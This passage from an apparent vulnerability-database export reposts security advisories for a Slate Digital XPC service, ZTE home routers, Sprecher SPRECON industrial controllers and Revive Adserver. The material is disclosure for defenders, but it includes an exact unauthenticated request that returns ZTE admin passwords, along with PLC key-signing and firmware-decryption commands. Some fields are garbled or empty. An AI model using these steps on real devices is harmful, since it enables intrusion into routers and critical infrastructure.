\\\n --force \\\n slateExploit\n-----------------------------------\n\nThis executable can then be transferred to a target device and be executed as\nshown in the screenshot ExploitProof.png\n\n\n2) Insecure XPC Client validation via PID (CVE-2026-24067)\nTo exploit the insecure client validation via PID, the following Objective C\ncode can be used. The code first sends the desired XPC message and then\nquickly changes the process to the benign binary, leading to the PID,\nwhich will be used to check if the client should be allowed to connect\nto the service or not, pointing to the benign client.\n\n-----------------------------------\n[ POC removed ]\n-----------------------------------\n\nThe code can be compiled using clang:\n-----------------------------------\nclang -o slatepidexploit -framework foundation pidReuseSlate.c\n-----------------------------------\n\nThe pid reuse attack will then be performed and the command defined\nin the XPC message will be executed by root. This again enables several\nvectors for local privilege escalation.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.37.0\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927\n2026-02-02: Contacting vendor by answering to the email received when\n creating a ticket. No response.\n2026-02-24: Contacting vendor again through \ntickethttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927\n2026-04-07: Contacting vendor viahelpdesk () slatedigital com; No response.\n2026-04-28: Tried contactingprivacy () slatedigital com, email seems to not exist:\n \"Your message dated on 28 Apr 2026 07:52:04 -0000 toprivacy () slatedigital com\n couldn\u0027t be delivered due to the following error:\n 5.1.0 - Unknown address error 550-\u00275.4.1 Recipient address rejected:\n Access denied\"\n2026-04-28: Contactinginfo () audiotonix com; No response.\n2026-06-10: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive since January 2026 and a patch is not available.\nUsers of this software should contact the vendor support and demand a patch.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0371
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2026-34472 - ZTE ZXHN H188A V6 Authentication Bypass via Pre-Login Wizard
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-002
CVE ID: CVE-2026-34472
Title: ZTE ZXHN H188A V6 - Authentication Bypass via Pre-Login
Wizard Credential Leakage
Affected: ZTE ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34472
VULNERABILITY DESCRIPTION
--------------------------
Unauthenticated requests to the root path of ZTE ZXHN H188A V6 firmware can
reach pre-login wizard handlers and disclose WLAN PSKs, SSIDs, and PPPoE
usernames. The leaked Wi-Fi password is also the default administrator
password after uppercasing, resulting in full authentication bypass.
ROOT CAUSE
----------
router_logic_impl.lua accepts attacker-controlled _type and _tag parameters
for empty-path requests. urlpath_2type_modifier.lua only activates the
QuickSetupEnable gate when _type is absent. Supplying _type explicitly
causes
the wizard handlers (getPassword, wlan_get, ppp_get) to execute for
unauthenticated requests, returning WLAN PSKs, SSIDs, and PPPoE credentials.
TIMELINE
--------
2024-04-26: Local validation and PoC artifacts created.
2024-05: Report sent to ZTE PSIRT.
2024-05-10: ZTE PSIRT stopped responding.
2026-01-17: Escalated to MITRE.
2026-02-02: ZTE PSIRT explicitly declined CVE assignment.
2026-03-27: MITRE assigned CVE-2026-34472.
2026-05-20: Full public disclosure.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0371 (this record)
- related CVE-2026-34472
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GCVE-1988-2026-0372
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2026-34474 - ZTE H298A/H108N Unauthenticated Admin Credential Exposure
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-003
CVE ID: CVE-2026-34474
Title: ZTE ZXHN H298A / H108N - Unauthenticated Admin Password &
WLAN Credential Exposure
Affected: ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6 (EOL; no patch
planned)
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34474
VULNERABILITY DESCRIPTION
--------------------------
A single unauthenticated HTTP GET to /getpage.lua?pid=1000ÐCheat=1 on ZTE
H298A or H108N routers returns the live administrator password
(OBJ_USERINFO_IDPassword1), WLAN PSK (WLANPSK_KeyPassphrase1), and SSID in
plaintext HTML. A second endpoint exposes the device serial number.
Note: ZTE declined vendor-side assignment citing product EOL. MITRE assigned
CVE-2026-34474 directly and published the record 2026-05-06. These devices
remain deployed by some ISPs.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
reference
GCVE-1988-2026-0372 (this record)
- related CVE-2026-34474
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GCVE-1988-2026-0368
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
SEC Consult SA-20260617-0 :: Multiple Critical Vulnerabilities in Sprecher Automation SPRECON-E-C/-E-P/-E-T3
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260617-0 >
=======================================================================
title: Multiple Critical Vulnerabilities
product: Sprecher Automation SPRECON-E-C/-E-P/-E-T3
vulnerable version: See vulnerable versions below
fixed version: See solution section below
CVE number: CVE-2022-4333, CVE-2022-4332, CVE-2025-41741,
CVE-2025-41742, CVE-2025-41743, CVE-2025-41744
impact: critical
homepage:https://www.sprecher-automation.com/
found: 2022-08-26
by: Steffen Robertz
Christian Hager (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Sprecher Automation provides products and solutions for power supply
and process automation. We secure critical infrastructures and optimise
complex energy and industry processes. [...]
Quality, availability and security – those are not only our customers's
requirements, but also goals we are striving for. Due to that, for example,
the hard- and software development are located in Austria and Germany.
We produce exclusively in Austria – starting with the production of
single elements, to system checks and practical inhouse testing."
Source:https://www.sprecher-automation.com/en/company
Business recommendation:
------------------------
The vendor provides updated versions as well as workaround information in
their security advisories. Users should verify whether the patches are
installed already, otherwise patch immediately.
SEC Consult highly recommends to perform a thorough security review of
the product conducted by security professionals to identify and resolve
potential further security issues.
Vulnerability overview/description:
-----------------------------------
1) Leak of Firmware Signing Private Key (CVE-2025-41741)
Sprecher signs its firmware update files to prevent an attacker from
loading manipulated update files. However, each PLC contains the
globally valid private signing key, as it is also used to sign backups.
An attacker, who obtains the key is able to ship validly signed,
modified firmware updates.
The security vulnerability has been resolved in firmware version 9 and
above. Further details can be found in the advisory of the vendor. In
previous versions the affected feature can be deactivated by the customer.
The stated key can only be used in conjunction with the backup feature.
Affected products: SPRECON-E-C/-E-P/-E CPU Modul
2) Missing Secure-Boot Mechanism (CVE-2022-4332)
The PLC is able to detect secure boot violations correctly. However,
the events are not handled properly. They only output a warning to the
boot log, but do not prevent the device's operation. Thus, anybody with
physical access to the device can modify the firmware and potentially
include backdoors.
The security vulnerability has been resolved in firmware version 8.71a and
above, as well as 8.64m. Further details can be found in the advisory
of the vendor. In current and previous versions the affected feature can be
deactivated by the customer.
Affected products: SPRECON-E-C/-E-P/-E
3) Unencrypted External Flash Memory (CVE-2022-4332)
The external flash memory can be dumped using tools such as the Xgecu
T56. This allows an attacker with physical access to read all files and
thus gain knowledge about sensitive files such as passwords and private
keys.
The security vulnerability has been resolved in firmware version 9 and above.
Further details can be found in the advisory of the vendor. In current and
previous versions the affected feature can be deactivated by the customer.
Affected products: SPRECON-E-C/-E-P/-E-T3
4) Usage of static passwords (CVE-2025-41742)
Various static passwords / key material can be discovered in the firmware.
They serve different use cases, such as hard-coded user accounts, as well as
encryption for settings and configuration files. This allows an attacker
to decrypt configuration files, modify them and properly encrypt them
again.
According to the vendor, the documented static identity string does not serve
a security purpose in the system and is used as an identifier for maintenance.
Using the default identifier can lead to the targeted system being misidentified
during maintenance.
Affected products: SPRECON-E-C/-E-P/-E-T3
5) Hard-coded Vendor Accounts (CVE-2022-4333)
Two hard-coded vendor accounts were revealed in the devices. These
accounts are shipped with every update file and can be used by the
vendor e.g. for support access.
These documented accounts can be activated or deactivated in the configuration.
These accounts are additionally secured with 2FA in firmware version 8.71g.
Affected products: SPRECON-E-C/-E-P/-E-T3
6) Decrypt Firmware Update Files (CVE-2025-41743)
Firmware update files include hard-coded accounts from vulnerability 5 and
can be decrypted using an XOR algorithm and a static password. This
allows an attacker to further analyze PLC components as well as gaining
knowledge of private keys and hard-coded accounts without requiring
physical access to any device.
The signature and encryption mechanism have been modified and the security
vulnerability has been resolved in version 8.71 and above. Further details
can be found in the advisory of the vendor.
Affected products: SPRECON-E-C/-E-P/-E-T3
7) Insecure Transport Encryption (CVE-2025-41744)
The PLC's webserver and the connection to the Sprecher Engineering Center
software use the same static default key on all devices. An attacker who gains
access to the private key via vulnerability 3 or 6 can thus decrypt all
traffic in a man-in-the-middle position. Thus, an attacker would be
able to change configurations and read connection passwords.
According to the vendor, those certificates are only used during initial
commissioning and users can find further information to change the certificates
in the documentation/guideline "SPRECON Grundhärtung" (basic hardening).
The vendor's hardening guide makes it clear that it is both possible and
recommended to change the default certificate.
Documentation: 94.2.913.50en SPRECON Basic Hardening
Proof of concept:
-----------------
1) Leak of Firmware Signing Private Key (CVE-2025-41741)
Backups are restored by the same command flow as regular update files.
Thus, backups need to be validly signed as well. For this, Sprecher's
private key is required. The following openssl command signs the
created backup:
```
openssl dgst -sha256 -sign ${SSM_CERT}/.backup.key -passinfile:${SSM_CERT}/.pass -out
${SSM_SECURE_DIR}/image.sha256 ${SSM_SECURE_DIR}/image.zip 2>/dev/null
```
The private key and password are both stored in the same filesystem and
can be obtained via the decrypted firmware update file (vulnerability 6)
or the unencrypted flash memory (vulnerability 3).
2) Missing Secure-Boot Mechanism (CVE-2022-4332)
The main SoC of the SPRECON E-C-94 is an i.MX6. The board does not fully
enable High-Assurance Boot (HAB). Thus, the firmware and bootloader can
be modified. The modification is detected, however, since secure boot is
not fully enabled, the violation will not be handled. The following boot
log can be seen on the device's service connector (X6). The first
bootline was manipulated to include the string "SECTEST".
```
REL_UBOOT_SECTEST_2015_07_RC7 SPL (Mar 11 2022 - 10:55:26)
Booting from SPI
Image Entry Point: 0x17800000
Image Load Address: 0x177FFFC0
Image Size: 0x48000
Authenticate image from DDR location 0x177fffc0...
Authenticated Image Size = 0x46000
Load Addr = 0x17800000
HAB not enabled
U-Boot Authentication Successful
[...]
Authenticate image from DDR location 0x12000000...
Authenticated Image Size = 0x7bc000
HAB not enabled
HAB Configuration: 0xf0, HAB State: 0x66
--------- HAB Event 1 -----------------
[...]
zImage Authentication Successful
```
3) Unencrypted External Flash Memory (CVE-2022-4332)
The main memory is a BGA153 eMMC flash memory. Thus, it can be read by
multiple tools such as the Xgecu T56. By dumping its contents, an
attacker can extract password hashes from the `/etc/passwd` or
`/etc/shadow` file and gain access to the private key from
vulnerability 1.
4) Usage of static passwords (CVE-2025-41742)
4.1) Static Passwords in Sprecher Engineering Studio
Two different passwords can be used to call an internal function.
This can be seen in following code snippet:
```
iVar3 = _strcmp(local_28,"**redacted**");
if (((iVar3 == 0) || (iVar3 = _strcmp(local_28,"**redacted**"), iVar3 == 0)) ||(iVar3 =
_strcmp(local_28,"**redacted**"), iVar3 == 0)) {
FUN_10001780(local_28,0x20,"XXX");
}
```
Unfortunately, we were not able to fully determine the use case of
these credentials.
4.2) Static Passwords in Sprecher Engineering Studio Configuration files
When exporting configurations from the Engineering Studio, a .sprXecz
file will be created. It is encrypted using a static password.
4.3) Webserver Settings Export
The webserver exports its settings as .jzp file. However, this
is just a renamed .zip file which uses a static password.
4.4) OpenVPN and IPSEC Settings Export/Import
OpenVPN profiles and IPSEC settings are exported/imported as
zip files. They are encrypted with a static password.
5) Hard-coded Vendor Accounts (CVE-2022-4333)
The `/etc/passwd` file and `/etc/shadow` file reveal hard-coded password
hashes for the "sprecon" and "spradm" accounts. These accounts are shipped
with the update files (tested with official downloadable version 8.71) and
there seems to be no option for deleting or changing their passwords.
The usability of the accounts is configurable via the configuration.
Details to deactivate the accounts are included in the hardening guidelines.
6) Decrypt Firmware Update Files (CVE-2025-41743)
SPRECON firmware update files are encrypted. However, they use XOR magic
and static passwords as encryption method. Due to limited time, we did
not reverse engineer the XOR algorithm and instead ran the decoding
binaries using QEMU. First, the fwimaker binary was run to create a
regular zip file from the XORed .fwi file by running the following
command:
```
qemu-arm -L /usr/arm-linux-gnueabihf ./fwimaker x sce_P9pu244_sc_864l_crypt.fwi extracted.zip
```
Afterwards the ZIP file can be decompressed and decrypted.
An attacker is now able to read the static password hashes and
further analyze components of the PLC.
According to the vendor, manipulated firmware update files cannot be
flashed anymore, due to the usage of firmware signing.
7) Insecure Transport Encryption (CVE-2025-41744)
The file `/etc/rbac/default.pem` contains a private key which is used
for the HTTPS encryption of the webserver. Further, the same key is used
to encrypt the communication with the Sprecher Engineering Studio.
An attacker can use vulnerability 3 or 6 to obtain the private key
and can then decrypt communication in a man-in-the-middle position.
The certificate has following fingerprint:
```
E9:AF:F4:F1:90:83:3C:5B:0B:E2:DF:E1:DF:31:69:B5:C1:EC:90:52
```
One device using the same certificate was discovered on the internet.
According to the vendor, those certificates are only used during initial
commissioning and users can find further information to change the certificates
in the documentation/guideline "SPRECON Grundhärtung" (basic hardening).
The vendor's hardening guide makes it
Severity
No CVSS data available.
Assigner
References
17 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Sprecher Automation SPRECON-E-C/-E-P/-E-T3 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0368 (this record)
- related CVE-2022-4332
- related CVE-2022-4333
- related CVE-2025-41741
- related CVE-2025-41742
- related CVE-2025-41743
- related CVE-2025-41744
{
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"cna": {
"affected": [
{
"product": "Sprecher Automation SPRECON-E-C/-E-P/-E-T3",
"vendor": "unknown",
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"version": "unknown"
}
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}
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"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
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"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260617-0 \u003e\n=======================================================================\n title: Multiple Critical Vulnerabilities\n product: Sprecher Automation SPRECON-E-C/-E-P/-E-T3\n\u00a0vulnerable version: See vulnerable versions below\n fixed version: See solution section below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2022-4333, CVE-2022-4332, CVE-2025-41741,\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 CVE-2025-41742, CVE-2025-41743, CVE-2025-41744\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n homepage:https://www.sprecher-automation.com/\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2022-08-26\n by: Steffen Robertz\n Christian Hager (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n=======================================================================\n\nVendor description:\n-------------------\n\"Sprecher Automation provides products and solutions for power supply\nand process automation. We secure critical infrastructures and optimise\ncomplex energy and industry processes. [...]\nQuality, availability and security \u2013 those are not only our customers\u0027s\nrequirements, but also goals we are striving for. Due to that, for example,\nthe hard- and software development are located in Austria and Germany.\nWe produce exclusively in Austria \u2013 starting with the production of\nsingle elements, to system checks and practical inhouse testing.\"\n\nSource:https://www.sprecher-automation.com/en/company\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides updated versions as well as workaround information in\ntheir security advisories. Users should verify whether the patches are\ninstalled already, otherwise patch immediately.\n\nSEC Consult highly recommends to perform a thorough security review of\nthe product conducted by security professionals to identify and resolve\npotential further security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Leak of Firmware Signing Private Key (CVE-2025-41741)\nSprecher signs its firmware update files to prevent an attacker from\nloading manipulated update files. However, each PLC contains the\nglobally valid private signing key, as it is also used to sign backups.\nAn attacker, who obtains the key is able to ship validly signed,\nmodified firmware updates.\n\nThe security vulnerability has been resolved in firmware version 9 and\nabove. Further details can be found in the advisory of the vendor. In\nprevious versions the affected feature can be deactivated by the customer.\nThe stated key can only be used in conjunction with the backup feature.\nAffected products: SPRECON-E-C/-E-P/-E CPU Modul\n\n2) Missing Secure-Boot Mechanism (CVE-2022-4332)\nThe PLC is able to detect secure boot violations correctly. However,\nthe events are not handled properly. They only output a warning to the\nboot log, but do not prevent the device\u0027s operation. Thus, anybody with\nphysical access to the device can modify the firmware and potentially\ninclude backdoors.\n\nThe security vulnerability has been resolved in firmware version 8.71a and\nabove, as well as 8.64m. Further details can be found in the advisory\nof the vendor. In current and previous versions the affected feature can be\ndeactivated by the customer.\nAffected products: SPRECON-E-C/-E-P/-E\n\n3) Unencrypted External Flash Memory (CVE-2022-4332)\nThe external flash memory can be dumped using tools such as the Xgecu\nT56. This allows an attacker with physical access to read all files and\nthus gain knowledge about sensitive files such as passwords and private\nkeys.\n\nThe security vulnerability has been resolved in firmware version 9 and above.\nFurther details can be found in the advisory of the vendor. In current and\nprevious versions the affected feature can be deactivated by the customer.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n4) Usage of static passwords (CVE-2025-41742)\nVarious static passwords / key material can be discovered in the firmware.\nThey serve different use cases, such as hard-coded user accounts, as well as\nencryption for settings and configuration files. This allows an attacker\nto decrypt configuration files, modify them and properly encrypt them\nagain.\n\nAccording to the vendor, the documented static identity string does not serve\na security purpose in the system and is used as an identifier for maintenance.\nUsing the default identifier can lead to the targeted system being misidentified\nduring maintenance.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n5) Hard-coded Vendor Accounts (CVE-2022-4333)\nTwo hard-coded vendor accounts were revealed in the devices. These\naccounts are shipped with every update file and can be used by the\nvendor e.g. for support access.\n\nThese documented accounts can be activated or deactivated in the configuration.\nThese accounts are additionally secured with 2FA in firmware version 8.71g.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n6) Decrypt Firmware Update Files (CVE-2025-41743)\nFirmware update files include hard-coded accounts from vulnerability 5 and\ncan be decrypted using an XOR algorithm and a static password. This\nallows an attacker to further analyze PLC components as well as gaining\nknowledge of private keys and hard-coded accounts without requiring\nphysical access to any device.\n\nThe signature and encryption mechanism have been modified and the security\nvulnerability has been resolved in version 8.71 and above. Further details\ncan be found in the advisory of the vendor.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n7) Insecure Transport Encryption (CVE-2025-41744)\nThe PLC\u0027s webserver and the connection to the Sprecher Engineering Center\nsoftware use the same static default key on all devices. An attacker who gains\naccess to the private key via vulnerability 3 or 6 can thus decrypt all\ntraffic in a man-in-the-middle position. Thus, an attacker would be\nable to change configurations and read connection passwords.\n\nAccording to the vendor, those certificates are only used during initial\ncommissioning and users can find further information to change the certificates\nin the documentation/guideline \"SPRECON Grundh\u00e4rtung\" (basic hardening).\nThe vendor\u0027s hardening guide makes it clear that it is both possible and\nrecommended to change the default certificate.\nDocumentation: 94.2.913.50en SPRECON Basic Hardening\n\n\nProof of concept:\n-----------------\n1) Leak of Firmware Signing Private Key (CVE-2025-41741)\nBackups are restored by the same command flow as regular update files.\nThus, backups need to be validly signed as well. For this, Sprecher\u0027s\nprivate key is required. The following openssl command signs the\ncreated backup:\n\n```\nopenssl dgst -sha256 -sign ${SSM_CERT}/.backup.key -passinfile:${SSM_CERT}/.pass -out\n${SSM_SECURE_DIR}/image.sha256 ${SSM_SECURE_DIR}/image.zip 2\u003e/dev/null\n```\n\nThe private key and password are both stored in the same filesystem and\ncan be obtained via the decrypted firmware update file (vulnerability 6)\nor the unencrypted flash memory (vulnerability 3).\n\n\n2) Missing Secure-Boot Mechanism (CVE-2022-4332)\nThe main SoC of the SPRECON E-C-94 is an i.MX6. The board does not fully\nenable High-Assurance Boot (HAB). Thus, the firmware and bootloader can\nbe modified. The modification is detected, however, since secure boot is\nnot fully enabled, the violation will not be handled. The following boot\nlog can be seen on the device\u0027s service connector (X6). The first\nbootline was manipulated to include the string \"SECTEST\".\n\n```\nREL_UBOOT_SECTEST_2015_07_RC7 SPL (Mar 11 2022 - 10:55:26)\nBooting from SPI\nImage Entry Point: 0x17800000\nImage Load Address: 0x177FFFC0\nImage Size: 0x48000\nAuthenticate image from DDR location 0x177fffc0...\nAuthenticated Image Size = 0x46000\nLoad Addr = 0x17800000\nHAB not enabled\nU-Boot Authentication Successful\n[...]\nAuthenticate image from DDR location 0x12000000...\nAuthenticated Image Size = 0x7bc000\nHAB not enabled\nHAB Configuration: 0xf0, HAB State: 0x66\n--------- HAB Event 1 -----------------\n[...]\nzImage Authentication Successful\n```\n\n3) Unencrypted External Flash Memory (CVE-2022-4332)\nThe main memory is a BGA153 eMMC flash memory. Thus, it can be read by\nmultiple tools such as the Xgecu T56. By dumping its contents, an\nattacker can extract password hashes from the `/etc/passwd` or\n`/etc/shadow` file and gain access to the private key from\nvulnerability 1.\n\n\n4) Usage of static passwords (CVE-2025-41742)\n\u00a0 \u00a0 4.1) Static Passwords in Sprecher Engineering Studio\n Two different passwords can be used to call an internal function.\n This can be seen in following code snippet:\n \n ```\n iVar3 = _strcmp(local_28,\"**redacted**\");\n if (((iVar3 == 0) || (iVar3 = _strcmp(local_28,\"**redacted**\"), iVar3 == 0)) ||(iVar3 = \n_strcmp(local_28,\"**redacted**\"), iVar3 == 0)) {\n FUN_10001780(local_28,0x20,\"XXX\");\n }\n ```\n \n Unfortunately, we were not able to fully determine the use case of\n these credentials.\n \n 4.2) Static Passwords in Sprecher Engineering Studio Configuration files\n When exporting configurations from the Engineering Studio, a .sprXecz\n file will be created. It is encrypted using a static password.\n\n 4.3) Webserver Settings Export\n The webserver exports its settings as .jzp file. However, this\n is just a renamed .zip file which uses a static password.\n\n 4.4) OpenVPN and IPSEC Settings Export/Import\n OpenVPN profiles and IPSEC settings are exported/imported as\n zip files. They are encrypted with a static password.\n\n\n5) Hard-coded Vendor Accounts (CVE-2022-4333)\nThe `/etc/passwd` file and `/etc/shadow` file reveal hard-coded password\nhashes for the \"sprecon\" and \"spradm\" accounts. These accounts are shipped\nwith the update files (tested with official downloadable version 8.71) and\nthere seems to be no option for deleting or changing their passwords.\n\nThe usability of the accounts is configurable via the configuration.\nDetails to deactivate the accounts are included in the hardening guidelines.\n\n\n6) Decrypt Firmware Update Files (CVE-2025-41743)\nSPRECON firmware update files are encrypted. However, they use XOR magic\nand static passwords as encryption method. Due to limited time, we did\nnot reverse engineer the XOR algorithm and instead ran the decoding\nbinaries using QEMU. First, the fwimaker binary was run to create a\nregular zip file from the XORed .fwi file by running the following\ncommand:\n\n```\nqemu-arm -L /usr/arm-linux-gnueabihf ./fwimaker x sce_P9pu244_sc_864l_crypt.fwi extracted.zip\n```\n\nAfterwards the ZIP file can be decompressed and decrypted.\nAn attacker is now able to read the static password hashes and\nfurther analyze components of the PLC.\n\nAccording to the vendor, manipulated firmware update files cannot be\nflashed anymore, due to the usage of firmware signing.\n\n\n7) Insecure Transport Encryption (CVE-2025-41744)\nThe file `/etc/rbac/default.pem` contains a private key which is used\nfor the HTTPS encryption of the webserver. Further, the same key is used\nto encrypt the communication with the Sprecher Engineering Studio.\nAn attacker can use vulnerability 3 or 6 to obtain the private key\nand can then decrypt communication in a man-in-the-middle position.\nThe certificate has following fingerprint:\n\n```\nE9:AF:F4:F1:90:83:3C:5B:0B:E2:DF:E1:DF:31:69:B5:C1:EC:90:52\n```\n\nOne device using the same certificate was discovered on the internet.\n\nAccording to the vendor, those certificates are only used during initial\ncommissioning and users can find further information to change the certificates\nin the documentation/guideline \"SPRECON Grundh\u00e4rtung\" (basic hardening).\nThe vendor\u0027s hardening guide makes it "
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GCVE-1988-2026-0376
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[REVIVE-SA-2026-002] Revive Adserver Vulnerabilities
Summary
========================================================================
Revive Adserver Security Advisory REVIVE-SA-2026-002
------------------------------------------------------------------------
https://www.revive-adserver.com/security/revive-sa-2026-002
------------------------------------------------------------------------
Date: 2026-06-03
Risk Level: Medium to High
Applications affected: Revive Adserver
Versions affected: <= 6.0.6
Versions not affected: >= 6.0.7
Website: https://www.revive-adserver.com/
========================================================================
========================================================================
1. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-34912
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3650504
https://github.com/revive-adserver/revive-adserver/commit/e1c9b8478
https://cwe.mitre.org/data/definitions/284.html
========================================================================
2. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-34913
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
relationships.
Resolution
----------
References
----------
https://hackerone.com/reports/3650582
https://github.com/revive-adserver/revive-adserver/commit/f1b5e8504
https://cwe.mitre.org/data/definitions/284.html
========================================================================
3. Blind SQL Injection
========================================================================
Vulnerability Type: CWE-89: SQL Injection
CVE-ID: CVE-2026-34914
Risk level: High
CVSS Base Score: 8.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3653196
https://github.com/revive-adserver/revive-adserver/commit/b541d1d05
https://cwe.mitre.org/data/definitions/89.html
========================================================================
4. Reflected XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-34915
Risk level: Medium
CVSS Base Score: 6.1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3653316
https://github.com/revive-adserver/revive-adserver/commit/b541d1d05
https://cwe.mitre.org/data/definitions/79.html
========================================================================
5. Remote Code Execution
========================================================================
Vulnerability Type: CWE-94: Code Injection
CVE-ID: CVE-2026-34916
Risk level: High
CVSS Base Score: 8.8
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3656781
https://github.com/revive-adserver/revive-adserver/commit/de3525e12
https://cwe.mitre.org/data/definitions/94.html
========================================================================
6. Improper Authentication
========================================================================
Vulnerability Type: CWE-287: Improper Authentication
CVE-ID: CVE-2026-34917
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3672641
https://github.com/revive-adserver/revive-adserver/commit/50c7dd3ba
https://cwe.mitre.org/data/definitions/287.html
========================================================================
7. Stored XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-44956
Risk level: Medium
CVSS Base Score: 5.4
